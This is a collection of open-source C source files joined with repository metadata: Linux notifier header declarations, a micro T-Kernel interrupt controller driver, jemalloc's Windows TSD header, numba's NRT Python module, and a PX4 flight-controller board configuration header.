#define RAW_NOTIFIER_INIT(name) { \
.head = NULL }
/* srcu_notifier_heads cannot be initialized statically */
#define ATOMIC_NOTIFIER_HEAD(name) \
struct atomic_notifier_head name = \
ATOMIC_NOTIFIER_INIT(name)
#define BLOCKING_NOTIFIER_HEAD(name) \
struct blocking_notifier_head name = \
BLOCKING_NOTIFIER_INIT(name)
#define RAW_NOTIFIER_HEAD(name) \
struct raw_notifier_head name = \
RAW_NOTIFIER_INIT(name)
#ifdef __KERNEL__
extern int atomic_notifier_chain_register(struct atomic_notifier_head *nh,
struct notifier_block *nb);
extern int blocking_notifier_chain_register(struct blocking_notifier_head *nh,
struct notifier_block *nb);
extern int raw_notifier_chain_register(struct raw_notifier_head *nh,
struct notifier_block *nb);
extern int srcu_notifier_chain_register(struct srcu_notifier_head *nh,
struct notifier_block *nb);
extern int blocking_notifier_chain_cond_register(
struct blocking_notifier_head *nh,
struct notifier_block *nb);
extern int atomic_notifier_chain_unregister(struct atomic_notifier_head *nh,
struct notifier_block *nb);
extern int blocking_notifier_chain_unregister(struct blocking_notifier_head *nh,
struct notifier_block *nb);
extern int raw_notifier_chain_unregister(struct raw_notifier_head *nh,
struct notifier_block *nb);
extern int srcu_notifier_chain_unregister(struct srcu_notifier_head *nh,
struct notifier_block *nb);
extern int atomic_notifier_call_chain(struct atomic_notifier_head *nh,
unsigned long val, void *v);
extern int __atomic_notifier_call_chain(struct atomic_notifier_head *nh,
unsigned long val, void *v, int nr_to_call, int *nr_calls);
extern int blocking_notifier_call_chain(struct blocking_notifier_head *nh,
unsigned long val, void *v);
extern int __blocking_notifier_call_chain(struct blocking_notifier_head *nh,
unsigned long val, void *v, int nr_to_call, int *nr_calls);
extern int raw_notifier_call_chain(struct raw_notifier_head *nh,
unsigned long val, void *v);
extern int __raw_notifier_call_chain(struct raw_notifier_head *nh,
unsigned long val, void *v, int nr_to_call, int *nr_calls);
extern int srcu_notifier_call_chain(struct srcu_notifier_head *nh,
unsigned long val, void *v);
extern int __srcu_notifier_call_chain(struct srcu_notifier_head *nh,
unsigned long val, void *v, int nr_to_call, int *nr_calls);
#define NOTIFY_DONE 0x0000 /* Don't care */
#define NOTIFY_OK 0x0001 /* Suits me */
#define NOTIFY_STOP_MASK 0x8000 /* Don't call further */
#define NOTIFY_BAD (NOTIFY_STOP_MASK|0x0002)
/* Bad/Veto action */
/*
* Clean way to return from the notifier and stop further calls.
*/
#define NOTIFY_STOP (NOTIFY_OK|NOTIFY_STOP_MASK)
/* Encapsulate (negative) errno value (in particular, NOTIFY_BAD <=> EPERM). */
static inline int notifier_from_errno(int err)
{
if (err)
return NOTIFY_STOP_MASK | (NOTIFY_OK - err);
return NOTIFY_OK;
}
/* Restore (negative) errno value from notify return value. */
static inline int notifier_to_errno(int ret)
{
ret &= ~NOTIFY_STOP_MASK;
return ret > NOTIFY_OK ? NOTIFY_OK - ret : 0;
}
/*
* Declared notifiers so far. I can imagine quite a few more chains
* over time (eg laptop power reset chains, reboot chain (to clean
* device units up), device [un]mount chain, module load/unload chain,
* low memory chain, screenblank chain (for plug in modular screenblankers)
* VC switch chains (for loadable kernel svgalib VC switch helpers) etc...
*/
/* CPU notfiers are defined in include/linux/cpu.h. */
/* netdevice notifiers are defined in include/linux/netdevice.h */
/* reboot notifiers are defined in include/linux/reboot.h. */
/* Hibernation and suspend events are defined in include/linux/suspend.h. */
/* Virtual Terminal events are defined in include/linux/vt.h. */
#define NETLINK_URELEASE 0x0001 /* Unicast netlink socket released */
/* Console keyboard events.
* Note: KBD_KEYCODE is always sent before KBD_UNBOUND_KEYCODE, KBD_UNICODE and
* KBD_KEYSYM. */
#define KBD_KEYCODE 0x0001 /* Keyboard keycode, called before any other */
#define KBD_UNBOUND_KEYCODE 0x0002 /* Keyboard keycode which is not bound to any other */
#define KBD_UNICODE 0x0003 /* Keyboard unicode */
#define KBD_KEYSYM 0x0004 /* Keyboard keysym */
#define KBD_POST_KEYSYM 0x0005 /* Called after keyboard keysym interpretation */
extern struct blocking_notifier_head reboot_notifier_list;
#endif /* __KERNEL__ */
#endif /* _LINUX_NOTIFIER_H */
|
576efd9d768f77a4f370ebb2edb4251326e14878
|
675d31c0346323f7e2b0ac2438d4b7cb352d414a
|
/lib/libtk/sysdepend/cpu/tx03_m367/int_m367.c
|
e11facc1b0c789b925590e5fb94b1fc48f45b36a
|
[] |
no_license
|
tron-forum/mtkernel_3
|
04688868b7c20605407ee65e1204c177abd4fb39
|
308092c361b6f91621874083fad637ebcac7466a
|
refs/heads/master
| 2023-04-07T13:01:44.475830
| 2022-10-17T08:40:05
| 2022-10-17T08:40:05
| 227,035,186
| 145
| 30
| null | 2023-03-14T05:28:39
| 2019-12-10T05:20:05
|
C
|
UTF-8
|
C
| false
| false
| 2,567
|
c
|
int_m367.c
|
/*
*----------------------------------------------------------------------
* micro T-Kernel 3.00.05
*
* Copyright (C) 2006-2021 by Ken Sakamura.
* This software is distributed under the T-License 2.2.
*----------------------------------------------------------------------
*
* Released by TRON Forum(http://www.tron.org) at 2021/11.
*
*----------------------------------------------------------------------
*/
#include <sys/machine.h>
#ifdef CPU_TMPM367FDFG
/*
* int.c
*
* Interrupt controller (TX03M67 )
*/
#include <tk/tkernel.h>
#include <tk/syslib.h>
#include "../core/armv7m/int_armv7m.h"
/*----------------------------------------------------------------------*/
/*
* Interrupt control API
*
*/
/*
* Enable interrupt
*/
EXPORT void EnableInt( UINT intno, INT level )
{
EnableInt_nvic( intno, level);
}
/*
* Disable interrupt
*/
EXPORT void DisableInt( UINT intno )
{
DisableInt_nvic( intno);
}
/*
* Clear interrupt
*/
EXPORT void ClearInt(UINT intno)
{
UW val;
ClearInt_nvic(intno); /* Un-pends the associated interrupt */
/* Clear Clock Generetor Interrupt request */
switch (intno) {
case M367_INTUSBWKUP:
val = 12;
break;
case M367_INTD:
val = 13;
break;
case M367_INTRTC:
val = 14;
break;
case M367_INTRMCRX:
val = 15;
break;
default:
if(intno >= M367_INT0 && intno <= M367_INTC) {
val = intno;
} else {
return;
}
break;
}
*(_UW*)CLKCTRL_CGICRCG = val;
}
/*
* Issue EOI to interrupt controller
*/
EXPORT void EndOfInt(UINT intno)
{
/* No opetarion. */
}
/*
* Check active state
*/
EXPORT BOOL CheckInt( UINT intno )
{
return CheckInt_nvic( intno);
}
/*
* Set interrupt mode
*/
EXPORT void SetIntMode(UINT intno, UINT mode)
{
_UW *cgimcg; /* CG Interrupt mode control register */
UINT n, e, k, s;
switch (intno) {
case M367_INTUSBWKUP:
n = 12;
break;
case M367_INTD:
n = 13;
break;
case M367_INTRTC:
n = 14;
break;
case M367_INTRMCRX:
n = 15;
break;
default:
if(intno >= M367_INT0 && intno <= M367_INTC) {
n = intno;
} else {
return;
}
break;
}
if(mode & IM_LEVEL) {
e = 0; /* Level sence */
} else {
e = 2; /* Edge sense */
}
if(~(mode & IM_LOW)) {
e++;
}
cgimcg = (_UW*)(CLKCTRL_CGIMCG) + (n >> 2);
k = (intno & 3) <<3;
DI(s);
*cgimcg = (*cgimcg & ~(7 << (k + 4))) | (e << (k + 4));
*cgimcg |= (1 << k);
EI(s);
}
#endif /* CPU_TMPM367FDFG */
|
19e8e88172c2ff585155ade3bf15503531610ab5
|
336d3942e52ba91604d479e590a1e35d6d7c14a4
|
/deps/jemalloc/include/jemalloc/internal/tsd_win.h
|
a91dac88e06a01d10e7e816b9dd886dc5205ff20
|
[
"BSD-2-Clause",
"BSD-3-Clause"
] |
permissive
|
redis/redis
|
8fb932a09677ed8854c94d81c941655eceda2138
|
e792653753dc62b5a00822121e585511542a024b
|
refs/heads/unstable
| 2023-08-29T14:53:21.757052
| 2023-08-27T08:42:55
| 2023-08-27T08:42:55
| 156,018
| 19,822
| 6,754
|
BSD-3-Clause
| 2023-09-14T18:06:48
| 2009-03-21T22:32:25
|
C
|
UTF-8
|
C
| false
| false
| 3,019
|
h
|
tsd_win.h
|
#ifdef JEMALLOC_INTERNAL_TSD_WIN_H
#error This file should be included only once, by tsd.h.
#endif
#define JEMALLOC_INTERNAL_TSD_WIN_H
typedef struct {
bool initialized;
tsd_t val;
} tsd_wrapper_t;
extern DWORD tsd_tsd;
extern tsd_wrapper_t tsd_boot_wrapper;
extern bool tsd_booted;
/* Initialization/cleanup. */
JEMALLOC_ALWAYS_INLINE bool
tsd_cleanup_wrapper(void) {
DWORD error = GetLastError();
tsd_wrapper_t *wrapper = (tsd_wrapper_t *)TlsGetValue(tsd_tsd);
SetLastError(error);
if (wrapper == NULL) {
return false;
}
if (wrapper->initialized) {
wrapper->initialized = false;
tsd_cleanup(&wrapper->val);
if (wrapper->initialized) {
/* Trigger another cleanup round. */
return true;
}
}
malloc_tsd_dalloc(wrapper);
return false;
}
JEMALLOC_ALWAYS_INLINE void
tsd_wrapper_set(tsd_wrapper_t *wrapper) {
if (!TlsSetValue(tsd_tsd, (void *)wrapper)) {
malloc_write("<jemalloc>: Error setting TSD\n");
abort();
}
}
JEMALLOC_ALWAYS_INLINE tsd_wrapper_t *
tsd_wrapper_get(bool init) {
DWORD error = GetLastError();
tsd_wrapper_t *wrapper = (tsd_wrapper_t *) TlsGetValue(tsd_tsd);
SetLastError(error);
if (init && unlikely(wrapper == NULL)) {
wrapper = (tsd_wrapper_t *)
malloc_tsd_malloc(sizeof(tsd_wrapper_t));
if (wrapper == NULL) {
malloc_write("<jemalloc>: Error allocating TSD\n");
abort();
} else {
wrapper->initialized = false;
/* MSVC is finicky about aggregate initialization. */
tsd_t tsd_initializer = TSD_INITIALIZER;
wrapper->val = tsd_initializer;
}
tsd_wrapper_set(wrapper);
}
return wrapper;
}
JEMALLOC_ALWAYS_INLINE bool
tsd_boot0(void) {
tsd_tsd = TlsAlloc();
if (tsd_tsd == TLS_OUT_OF_INDEXES) {
return true;
}
_malloc_tsd_cleanup_register(&tsd_cleanup_wrapper);
tsd_wrapper_set(&tsd_boot_wrapper);
tsd_booted = true;
return false;
}
JEMALLOC_ALWAYS_INLINE void
tsd_boot1(void) {
tsd_wrapper_t *wrapper;
wrapper = (tsd_wrapper_t *)
malloc_tsd_malloc(sizeof(tsd_wrapper_t));
if (wrapper == NULL) {
malloc_write("<jemalloc>: Error allocating TSD\n");
abort();
}
tsd_boot_wrapper.initialized = false;
tsd_cleanup(&tsd_boot_wrapper.val);
wrapper->initialized = false;
tsd_t initializer = TSD_INITIALIZER;
wrapper->val = initializer;
tsd_wrapper_set(wrapper);
}
JEMALLOC_ALWAYS_INLINE bool
tsd_boot(void) {
if (tsd_boot0()) {
return true;
}
tsd_boot1();
return false;
}
JEMALLOC_ALWAYS_INLINE bool
tsd_booted_get(void) {
return tsd_booted;
}
JEMALLOC_ALWAYS_INLINE bool
tsd_get_allocates(void) {
return true;
}
/* Get/set. */
JEMALLOC_ALWAYS_INLINE tsd_t *
tsd_get(bool init) {
tsd_wrapper_t *wrapper;
assert(tsd_booted);
wrapper = tsd_wrapper_get(init);
if (tsd_get_allocates() && !init && wrapper == NULL) {
return NULL;
}
return &wrapper->val;
}
JEMALLOC_ALWAYS_INLINE void
tsd_set(tsd_t *val) {
tsd_wrapper_t *wrapper;
assert(tsd_booted);
wrapper = tsd_wrapper_get(true);
if (likely(&wrapper->val != val)) {
wrapper->val = *(val);
}
wrapper->initialized = true;
}
|
63485786908fd6ea3290f9d755c8937ad9982cf4
|
29f18e8ddde0379cef7fa00b1a50058be3cafa79
|
/numba/core/runtime/_nrt_pythonmod.c
|
19eb120fac011064c2c2e73ba8cdb6affc2fbf53
|
[
"LicenseRef-scancode-secret-labs-2011",
"BSD-3-Clause",
"LicenseRef-scancode-python-cwi",
"LicenseRef-scancode-free-unknown",
"GPL-1.0-or-later",
"LicenseRef-scancode-other-copyleft",
"MIT",
"LicenseRef-scancode-unknown-license-reference",
"Python-2.0",
"BSD-2-Clause"
] |
permissive
|
numba/numba
|
9a8345ff5f7d57f0ffec40e39941ebf2684df0d1
|
46059957ad416e68476d1e5f32ccd59f7d5df2bb
|
refs/heads/main
| 2023-08-09T22:29:38.170300
| 2023-08-07T15:00:27
| 2023-08-07T15:00:27
| 3,659,275
| 8,247
| 1,151
|
BSD-2-Clause
| 2023-09-13T14:43:48
| 2012-03-08T11:12:43
|
Python
|
UTF-8
|
C
| false
| false
| 6,095
|
c
|
_nrt_pythonmod.c
|
#define NUMBA_EXPORT_FUNC(_rettype) static _rettype
#define NUMBA_EXPORT_DATA(_vartype) static _vartype
#include "_nrt_python.c"
static PyObject *
memsys_shutdown(PyObject *self, PyObject *args) {
NRT_MemSys_shutdown();
Py_RETURN_NONE;
}
static PyObject *
memsys_use_cpython_allocator(PyObject *self, PyObject *args) {
NRT_MemSys_set_allocator(PyMem_RawMalloc,
PyMem_RawRealloc,
PyMem_RawFree);
Py_RETURN_NONE;
}
static PyObject *
memsys_get_stats_alloc(PyObject *self, PyObject *args) {
if(!NRT_MemSys_stats_enabled()) {
PyErr_SetString(PyExc_RuntimeError, "NRT stats are disabled.");
return NULL;
}
return PyLong_FromSize_t(NRT_MemSys_get_stats_alloc());
}
static PyObject *
memsys_get_stats_free(PyObject *self, PyObject *args) {
if(!NRT_MemSys_stats_enabled()) {
PyErr_SetString(PyExc_RuntimeError, "NRT stats are disabled.");
return NULL;
}
return PyLong_FromSize_t(NRT_MemSys_get_stats_free());
}
static PyObject *
memsys_get_stats_mi_alloc(PyObject *self, PyObject *args) {
if(!NRT_MemSys_stats_enabled()) {
PyErr_SetString(PyExc_RuntimeError, "NRT stats are disabled.");
return NULL;
}
return PyLong_FromSize_t(NRT_MemSys_get_stats_mi_alloc());
}
static PyObject *
memsys_get_stats_mi_free(PyObject *self, PyObject *args) {
if(!NRT_MemSys_stats_enabled()) {
PyErr_SetString(PyExc_RuntimeError, "NRT stats are disabled.");
return NULL;
}
return PyLong_FromSize_t(NRT_MemSys_get_stats_mi_free());
}
static PyObject *
memsys_stats_enabled(PyObject *self, PyObject *args) {
if (NRT_MemSys_stats_enabled()) {
Py_RETURN_TRUE;
} else {
Py_RETURN_FALSE;
}
}
static PyObject *
memsys_enable_stats(PyObject *self, PyObject *args) {
NRT_MemSys_enable_stats();
Py_RETURN_NONE;
}
static PyObject *
memsys_disable_stats(PyObject *self, PyObject *args) {
NRT_MemSys_disable_stats();
Py_RETURN_NONE;
}
/*
* Create a new MemInfo with a owner PyObject
*/
static PyObject *
meminfo_new(PyObject *self, PyObject *args) {
PyObject *addr_data_obj;
void *addr_data;
PyObject *ownerobj;
NRT_MemInfo *mi;
if (!PyArg_ParseTuple(args, "OO", &addr_data_obj, &ownerobj)) {
return NULL;
}
addr_data = PyLong_AsVoidPtr(addr_data_obj);
if (PyErr_Occurred())
return NULL;
mi = NRT_meminfo_new_from_pyobject(addr_data, ownerobj);
return PyLong_FromVoidPtr(mi);
}
/*
* Create a new MemInfo with a new NRT allocation
*/
static PyObject *
meminfo_alloc(PyObject *self, PyObject *args) {
NRT_MemInfo *mi;
Py_ssize_t size;
if (!PyArg_ParseTuple(args, "n", &size)) {
return NULL;
}
mi = NRT_MemInfo_alloc(size);
return PyLong_FromVoidPtr(mi);
}
/*
* Like meminfo_alloc but set memory to zero after allocation and before
* deallocation.
*/
static PyObject *
meminfo_alloc_safe(PyObject *self, PyObject *args) {
NRT_MemInfo *mi;
Py_ssize_t size;
if (!PyArg_ParseTuple(args, "n", &size)) {
return NULL;
}
mi = NRT_MemInfo_alloc_safe(size);
return PyLong_FromVoidPtr(mi);
}
static PyMethodDef ext_methods[] = {
#define declmethod(func) { #func , ( PyCFunction )func , METH_VARARGS , NULL }
#define declmethod_noargs(func) { #func , ( PyCFunction )func , METH_NOARGS, NULL }
declmethod_noargs(memsys_use_cpython_allocator),
declmethod_noargs(memsys_shutdown),
declmethod_noargs(memsys_get_stats_alloc),
declmethod_noargs(memsys_get_stats_free),
declmethod_noargs(memsys_get_stats_mi_alloc),
declmethod_noargs(memsys_get_stats_mi_free),
declmethod_noargs(memsys_stats_enabled),
declmethod_noargs(memsys_enable_stats),
declmethod_noargs(memsys_disable_stats),
declmethod(meminfo_new),
declmethod(meminfo_alloc),
declmethod(meminfo_alloc_safe),
{ NULL },
#undef declmethod
};
static PyObject *
build_c_helpers_dict(void)
{
PyObject *dct = PyDict_New();
if (dct == NULL)
goto error;
#define _declpointer(name, value) do { \
PyObject *o = PyLong_FromVoidPtr(value); \
if (o == NULL) goto error; \
if (PyDict_SetItemString(dct, name, o)) { \
Py_DECREF(o); \
goto error; \
} \
Py_DECREF(o); \
} while (0)
#define declmethod(func) _declpointer(#func, &NRT_##func)
#define declmethod_internal(func) _declpointer(#func, &func)
declmethod(adapt_ndarray_from_python);
declmethod(adapt_ndarray_to_python_acqref);
declmethod(adapt_buffer_from_python);
declmethod(meminfo_new_from_pyobject);
declmethod(meminfo_as_pyobject);
declmethod(meminfo_from_pyobject);
declmethod(MemInfo_alloc);
declmethod(MemInfo_alloc_safe);
declmethod(MemInfo_alloc_aligned);
declmethod(MemInfo_alloc_safe_aligned);
declmethod(MemInfo_alloc_safe_aligned_external);
declmethod_internal(_nrt_get_sample_external_allocator);
declmethod(MemInfo_alloc_dtor);
declmethod(MemInfo_alloc_dtor_safe);
declmethod(MemInfo_call_dtor);
declmethod(MemInfo_new_varsize);
declmethod(MemInfo_new_varsize_dtor);
declmethod(MemInfo_varsize_alloc);
declmethod(MemInfo_data);
declmethod(MemInfo_varsize_free);
declmethod(MemInfo_varsize_realloc);
declmethod(MemInfo_release);
declmethod(Allocate);
declmethod(Free);
declmethod(get_api);
#undef declmethod
#undef declmethod_internal
return dct;
error:
Py_XDECREF(dct);
return NULL;
}
MOD_INIT(_nrt_python) {
PyObject *m;
MOD_DEF(m, "_nrt_python", "No docs", ext_methods)
if (m == NULL)
return MOD_ERROR_VAL;
import_array();
NRT_MemSys_init();
if (init_nrt_python_module(m))
return MOD_ERROR_VAL;
Py_INCREF(&MemInfoType);
PyModule_AddObject(m, "_MemInfo", (PyObject *) (&MemInfoType));
PyModule_AddObject(m, "c_helpers", build_c_helpers_dict());
return MOD_SUCCESS_VAL(m);
}
|
c014ee4d3f92e9c53c7d04a01a5d140ae721c259
|
0fa1152e1e434ce9fe9e2db95f43f25675bf7d27
|
/boards/nxp/fmuk66-e/src/board_config.h
|
af6c56a4699a04c5acff62ba3829ced10c067745
|
[
"BSD-3-Clause"
] |
permissive
|
PX4/PX4-Autopilot
|
4cc90dccc9285ca4db7f595ac5a7547df02ca92e
|
3d61ab84c42ff8623bd48ff0ba74f9cf26bb402b
|
refs/heads/main
| 2023-08-30T23:58:35.398450
| 2022-03-26T01:29:03
| 2023-08-30T15:40:01
| 5,298,790
| 3,146
| 3,798
|
BSD-3-Clause
| 2023-09-14T17:22:04
| 2012-08-04T21:19:36
|
C++
|
UTF-8
|
C
| false
| false
| 19,155
|
h
|
board_config.h
|
/****************************************************************************
*
* Copyright (c) 2013-2018 PX4 Development Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name PX4 nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/**
* @file board_config.h
*
* NXP fmuk66-e internal definitions
*/
#pragma once
/****************************************************************************************************
* Included Files
****************************************************************************************************/
#include <px4_platform_common/px4_config.h>
#include <nuttx/compiler.h>
#include <stdint.h>
__BEGIN_DECLS
/* these headers are not C++ safe */
#include <kinetis.h>
#include <hardware/kinetis_pinmux.h>
#include <arch/board/board.h>
__END_DECLS
/* FMUK66 GPIOs ***********************************************************************************/
/* LEDs */
/* An RGB LED is connected through GPIO as shown below:
* TBD (no makring on schematic)
* LED K66
* ------ -------------------------------------------------------
* RED FB_CS0_b/ UART2_CTS_b / ADC0_SE5b / SPI0_SCK / FTM3_CH1/ PTD1
* GREEN FTM2_FLT0/ CMP0_IN3/ FB_AD6 / I2S0_RX_BCLK/ FTM3_CH5/ ADC1_SE5b/ PTC9
* BLUE CMP0_IN2/ FB_AD7 / I2S0_MCLK/ FTM3_CH4/ ADC1_SE4b/ PTC8
*/
#define GPIO_LED_R (GPIO_HIGHDRIVE | GPIO_OUTPUT_ONE | PIN_PORTD | PIN1)
#define GPIO_LED_G (GPIO_HIGHDRIVE | GPIO_OUTPUT_ONE | PIN_PORTC | PIN9)
#define GPIO_LED_B (GPIO_HIGHDRIVE | GPIO_OUTPUT_ONE | PIN_PORTC | PIN8)
#define GPIO_LED_1 (GPIO_HIGHDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTD | PIN13)
#define GPIO_LED_2 (GPIO_HIGHDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTD | PIN14)
#define BOARD_HAS_CONTROL_STATUS_LEDS 1 // Use D9 and D10
#define BOARD_OVERLOAD_LED LED_AMBER
#define BOARD_ARMED_STATE_LED LED_GREEN
#define GPIO_NFC_IO (GPIO_HIGHDRIVE | GPIO_OUTPUT_ONE | PIN_PORTA | PIN26)
#define GPIO_SENSOR_P_EN (GPIO_HIGHDRIVE | GPIO_OUTPUT_ONE | PIN_PORTB | PIN8)
/* UART tty Mapping
* Device tty alt Connector Name
* ------- ---------- -------------- --------- -------------------------
* LPUART0 /dev/tty0 /dev/console J16 DCD-Mini
* UART0 /dev/tty1 --- J7 SERIAL 2 / TELEMETRY 2 / IRDA
* UART1 /dev/tty2 --- J15 SERIAL4/FrSky, RC_IN
* UART2 /dev/tty3 --- J3 GPS connector
* UART4 /dev/tty4 --- J10 SERIAL 1 / TELEMETRY 1
*/
/* High-resolution timer */
#define HRT_TIMER 1 /* TPM1 timer for the HRT */
#define HRT_TIMER_CHANNEL 0 /* Use capture/compare channel 0 */
/* PPM IN
*/
#define HRT_PPM_CHANNEL 1 /* Use TPM1 capture/compare channel 1 */
#define GPIO_PPM_IN PIN_TPM1_CH1_1 /* PTC3 USART1 RX and PTA9 and PIN_TPM1_CH1 AKA FrSky_IN_RC_IN */
/*
*
* NXP fmuk66-e has separate RC_IN
*
* GPIO PPM_IN on PTA9 PIN_TPM1_CH1 and PCT3 USART1 RX
* SPEKTRUM_RX (it's TX or RX in Bind) on PCT3 USART1 RX
* Inversion is possible the UART
* The FMU can drive GPIO PPM_IN as an output
*/
/* Spektrum controls ******************************************************/
/* Power is a p-Channel FET */
#define GPIO_SPEKTRUM_P_EN (GPIO_HIGHDRIVE | GPIO_OUTPUT_ONE | PIN_PORTA | PIN7)
/* For binding the Spektrum 3-pin interfaces is used with it TX (output)
* as an input Therefore we drive are UARTx_RX (normaly an input) as an
* output
*/
#define GPIO_PPM_IN_AS_OUT (GPIO_HIGHDRIVE | GPIO_OUTPUT_ONE | PIN_PORTC | PIN3)
#define SPEKTRUM_RX_AS_GPIO_OUTPUT() px4_arch_configgpio(GPIO_PPM_IN_AS_OUT)
#define SPEKTRUM_RX_AS_UART() px4_arch_configgpio(PIN_UART1_RX)
#define SPEKTRUM_OUT(_one_true) px4_arch_gpiowrite(GPIO_PPM_IN_AS_OUT, (_one_true))
/* RC input */
#define RC_SERIAL_PORT "/dev/ttyS2" /* UART1 */
#define GPIO_RSSI_IN PIN_ADC1_SE13
/* Ethernet Control
*
* Uninitialized to Reset Disabled and Inhibited
* All pins driven low to not back feed when power is off
*/
#define nGPIO_ETHERNET_P_EN (GPIO_LOWDRIVE | GPIO_OUTPUT_ONE | PIN_PORTE | PIN10)
#define GPIO_ENET_RST (GPIO_LOWDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTA | PIN28)
#define GPIO_ENET_EN (GPIO_LOWDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTA | PIN29)
#define GPIO_ENET_INH (GPIO_LOWDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTA | PIN8)
/* CAN Control
* Control pin S allows two operating modes to be selected:
* high-speed mode (Low) or silent mode (high)
*/
#define GPIO_CAN0_STB (GPIO_LOWDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTC | PIN19)
#define GPIO_CAN1_STB (GPIO_LOWDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTC | PIN18)
/* Safety Switch
* TBD
*/
#define GPIO_LED_SAFETY (GPIO_HIGHDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTC | PIN0)
#define GPIO_BTN_SAFETY (GPIO_PULLUP | PIN_PORTE | PIN28)
/* NXP FMUK66-E GPIOs ****************************************************************/
/* SDHC
*
* A micro Secure Digital (SD) card slot is available on the board connected to
* the SD Host Controller (SDHC) signals of the MCU. This slot will accept micro
* format SD memory cards. The SD card detect pin (PTE6) is an open switch that
* shorts with VDD when card is inserted.
*
* ------------ ------------- --------
* SD Card Slot Board Signal K66 Pin
* ------------ ------------- --------
* DAT0 SDHC0_D0 PTE1
* DAT1 SDHC0_D1 PTE0
* DAT2 SDHC0_D2 PTE5
* CD/DAT3 SDHC0_D3 PTE4
* CMD SDHC0_CMD PTE3
* CLK SDHC0_DCLK PTE2
* SWITCH D_CARD_DETECT PTD10
* CAED_P_EN PTD6
* ------------ ------------- --------
*
* There is no Write Protect pin available to the K66
*/
#define nVDD_3V3_SD_CARD_EN (GPIO_LOWDRIVE | GPIO_OUTPUT_ONE | PIN_PORTA | PIN25)
/* SE050 Secure Element */
#define SE050_ENA (GPIO_LOWDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTA | PIN24)
#define SE050_RST_N (GPIO_LOWDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTD | PIN11)
//#define GPIO_SD_CARDDETECT (GPIO_PULLUP | PIN_INT_BOTH | PIN_PORTD | PIN10)
/* SPI device reset signals
* In Active state
*/
/* Sensor interrupts */
#define GPIO_nSPI1_DRDY1_BMI1088_ACCEL_INT1 (GPIO_PULLUP | PIN_INT_FALLING | PIN_PORTD | PIN12)
#define GPIO_nSPI1_DRDY2_BMI1088_GYRO_INT2 (GPIO_PULLUP | PIN_INT_FALLING | PIN_PORTE | PIN7)
#define GPIO_nSPI1_DRDY3_ICM42688_INT1 (GPIO_PULLUP | PIN_INT_FALLING | PIN_PORTE | PIN9)
/*
* ADC channels
*
* These are the channel numbers of the ADCs of the microcontroller that can be used by the Px4
* Firmware in the adc driver. ADC1 has 32 channels, with some a/b selection overlap
* in the AD4-AD7 range on the same ADC.
*
* Only ADC1 is used
* Bits 31:0 are ADC1 channels 31:0
*/
#define ADC1_CH(c) (((c) & 0x1f)) /* Define ADC number Channel number */
#define ADC1_GPIO(n) PIN_ADC1_SE##n
/* ADC defines to be used in sensors.cpp to read from a particular channel */
#define ADC_USB_VBUS_VALID ADC1_CH(0) /* USB_VBUS_VALID 29 - ADC1_DP0 */
#define ADC_BATTERY_VOLTAGE_CHANNEL ADC1_CH(10) /* BAT_VSENS 85 PTB4 ADC1_SE10 */
#define ADC_BATTERY_CURRENT_CHANNEL ADC1_CH(11) /* BAT_ISENS 86 PTB5 ADC1_SE11 */
#define ADC_5V_RAIL_SENSE ADC1_CH(12) /* 5V_VSENS 87 PTB6 ADC1_SE12 */
#define ADC_RSSI_IN ADC1_CH(13) /* RSSI_IN 88 PTB7 ADC1_SE13 */
#define ADC_AD1 ADC1_CH(16) /* AD1 35 - ADC1_SE16 */
#define ADC_AD2 ADC1_CH(18) /* AD2 37 - ADC1_SE18 */
#define ADC_AD3 ADC1_CH(23) /* AD3 39 - ADC1_SE23 */
/* Mask use to initialize the ADC driver */
#define ADC_CHANNELS ((1 << ADC_USB_VBUS_VALID) | \
(1 << ADC_BATTERY_VOLTAGE_CHANNEL) | \
(1 << ADC_BATTERY_CURRENT_CHANNEL) | \
(1 << ADC_5V_RAIL_SENSE) | \
(1 << ADC_RSSI_IN) | \
(1 << ADC_AD1) | \
(1 << ADC_AD2) | \
(1 << ADC_AD3))
/* GPIO that require Configuration */
#define PX4_ADC_GPIO \
/* PTB4 ADC1_SE10 */ ADC1_GPIO(10), \
/* PTB5 ADC1_SE11 */ ADC1_GPIO(11), \
/* PTB6 ADC1_SE12 */ ADC1_GPIO(12), \
/* PTB7 ADC1_SE13 */ ADC1_GPIO(13)
/* User GPIOs
*
*/
/* Timer I/O PWM and capture
*
* 14 PWM outputs are configured.
* 14 Timer inputs are configured.
*
* Pins:
* Defined in board.h
*/
// todo:Design this!
#define DIRECT_PWM_OUTPUT_CHANNELS 8
#define GPIO_ULTRASOUND_TRIGGER /* PTD0 */ (GPIO_LOWDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTD | PIN0)
